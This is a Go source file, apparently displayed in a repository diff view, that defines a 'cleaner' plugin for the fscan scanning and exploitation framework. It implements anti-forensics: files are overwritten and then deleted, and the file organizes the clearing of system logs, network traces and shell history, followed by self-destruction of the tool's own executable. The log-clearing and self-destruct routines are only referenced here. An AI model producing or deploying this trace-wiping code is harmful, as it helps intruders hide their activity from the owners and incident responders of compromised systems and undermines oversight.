func (p *CleanerPlugin) performCleanup(ctx context.Context) (map[string]interface{}, error) {
|
||||||
|
report := make(map[string]interface{})
|
||||||
|
|
||||||
|
// 初始化统计
|
||||||
|
p.cleanupStats["files"] = 0
|
||||||
|
p.cleanupStats["directories"] = 0
|
||||||
|
p.cleanupStats["system_entries"] = 0
|
||||||
|
|
||||||
|
// 1. 清理文件
|
||||||
|
common.LogInfo("清理相关文件...")
|
||||||
|
fileReport := p.cleanTargetFiles()
|
||||||
|
report["file_cleanup"] = fileReport
|
||||||
|
|
||||||
|
// 2. 清理系统痕迹(平台特定)
|
||||||
|
common.LogInfo("清理系统痕迹...")
|
||||||
|
systemReport := p.cleanSystemTraces()
|
||||||
|
report["system_cleanup"] = systemReport
|
||||||
|
|
||||||
|
// 3. 清理网络痕迹
|
||||||
|
common.LogInfo("清理网络痕迹...")
|
||||||
|
networkReport := p.cleanNetworkTraces()
|
||||||
|
report["network_cleanup"] = networkReport
|
||||||
|
|
||||||
|
// 4. 最后清理自身(需要特殊处理)
|
||||||
|
if p.currentExecutable != "" {
|
||||||
|
common.LogInfo("准备清理自身...")
|
||||||
|
selfReport := p.prepareSelfDestruction()
|
||||||
|
report["self_cleanup"] = selfReport
|
||||||
|
}
|
||||||
|
|
||||||
|
return report, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanTargetFiles 清理文件
|
||||||
|
func (p *CleanerPlugin) cleanTargetFiles() []string {
|
||||||
|
var cleaned []string
|
||||||
|
|
||||||
|
for _, file := range p.targetFiles {
|
||||||
|
if err := p.secureDelete(file); err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("删除文件失败 %s: %v", file, err))
|
||||||
|
} else {
|
||||||
|
cleaned = append(cleaned, file)
|
||||||
|
p.cleanupStats["files"]++
|
||||||
|
common.LogSuccess(fmt.Sprintf("已删除: %s", file))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return cleaned
|
||||||
|
}
|
||||||
|
|
||||||
|
// secureDelete 安全删除文件(覆盖后删除)
|
||||||
|
func (p *CleanerPlugin) secureDelete(filepath string) error {
|
||||||
|
// 获取文件信息
|
||||||
|
info, err := os.Stat(filepath)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 小文件进行覆盖删除
|
||||||
|
if info.Size() < 10*1024*1024 { // 10MB以下
|
||||||
|
if err := p.overwriteFile(filepath); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("覆盖文件失败: %v", err))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 删除文件
|
||||||
|
return os.Remove(filepath)
|
||||||
|
}
|
||||||
|
|
||||||
|
// overwriteFile 覆盖文件内容
|
||||||
|
func (p *CleanerPlugin) overwriteFile(filepath string) error {
|
||||||
|
info, err := os.Stat(filepath)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
file, err := os.OpenFile(filepath, os.O_WRONLY, 0)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer file.Close()
|
||||||
|
|
||||||
|
// 用随机数据覆盖
|
||||||
|
size := info.Size()
|
||||||
|
buffer := make([]byte, 4096)
|
||||||
|
for i := range buffer {
|
||||||
|
buffer[i] = byte(time.Now().UnixNano() % 256)
|
||||||
|
}
|
||||||
|
|
||||||
|
for size > 0 {
|
||||||
|
writeSize := int64(len(buffer))
|
||||||
|
if size < writeSize {
|
||||||
|
writeSize = size
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := file.Write(buffer[:writeSize]); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
size -= writeSize
|
||||||
|
}
|
||||||
|
|
||||||
|
return file.Sync()
|
||||||
|
}
|
||||||
|
|
||||||
|
// prepareSelfDestruction 准备自毁 - 平台特定实现在各自的文件中
|
||||||
|
|
||||||
|
// GetLocalData 获取清理器本地数据
|
||||||
|
func (p *CleanerPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||||
|
data := make(map[string]interface{})
|
||||||
|
|
||||||
|
data["plugin_type"] = "cleaner"
|
||||||
|
data["platform"] = runtime.GOOS
|
||||||
|
data["current_executable"] = p.currentExecutable
|
||||||
|
data["working_directory"] = p.workingDirectory
|
||||||
|
data["cleanup_targets"] = len(p.targetFiles)
|
||||||
|
|
||||||
|
if hostname, err := os.Hostname(); err == nil {
|
||||||
|
data["hostname"] = hostname
|
||||||
|
}
|
||||||
|
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExtractData 提取数据
|
||||||
|
func (p *CleanerPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||||
|
return &base.ExploitResult{
|
||||||
|
Success: true,
|
||||||
|
Output: fmt.Sprintf("系统痕迹清理完成,清理了 %d 个项目", p.cleanupStats["files"]+p.cleanupStats["directories"]+p.cleanupStats["system_entries"]),
|
||||||
|
Data: data,
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"platform": runtime.GOOS,
|
||||||
|
"cleanup_stats": p.cleanupStats,
|
||||||
|
"status": "completed",
|
||||||
|
},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetInfo 获取插件信息
|
||||||
|
func (p *CleanerPlugin) GetInfo() string {
|
||||||
|
var info strings.Builder
|
||||||
|
|
||||||
|
info.WriteString("跨平台系统痕迹清理插件\n")
|
||||||
|
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||||
|
info.WriteString("功能:\n")
|
||||||
|
info.WriteString(" - 清理fscan相关输出文件\n")
|
||||||
|
info.WriteString(" - 清理系统日志痕迹\n")
|
||||||
|
info.WriteString(" - 清理网络连接痕迹\n")
|
||||||
|
info.WriteString(" - 清理Shell历史记录\n")
|
||||||
|
info.WriteString(" - 安全删除敏感文件\n")
|
||||||
|
info.WriteString(" - 自毁功能\n")
|
||||||
|
info.WriteString("注意: 根据当前用户权限执行清理操作\n")
|
||||||
|
|
||||||
|
return info.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterCleanerPlugin 注册系统痕迹清理插件
|
||||||
|
func RegisterCleanerPlugin() {
|
||||||
|
factory := base.NewSimplePluginFactory(
|
||||||
|
&base.PluginMetadata{
|
||||||
|
Name: "cleaner",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "跨平台系统痕迹清理插件,清理扫描过程中产生的文件和系统痕迹",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"cleaner", "local", "forensics", "cross-platform"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
},
|
||||||
|
func() base.Plugin {
|
||||||
|
return NewCleanerPlugin()
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
base.GlobalPluginRegistry.Register("cleaner", factory)
|
||||||
|
}
|
||||||
|
|
||||||
|
// init 插件注册函数
|
||||||
|
func init() {
|
||||||
|
RegisterCleanerPlugin()
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user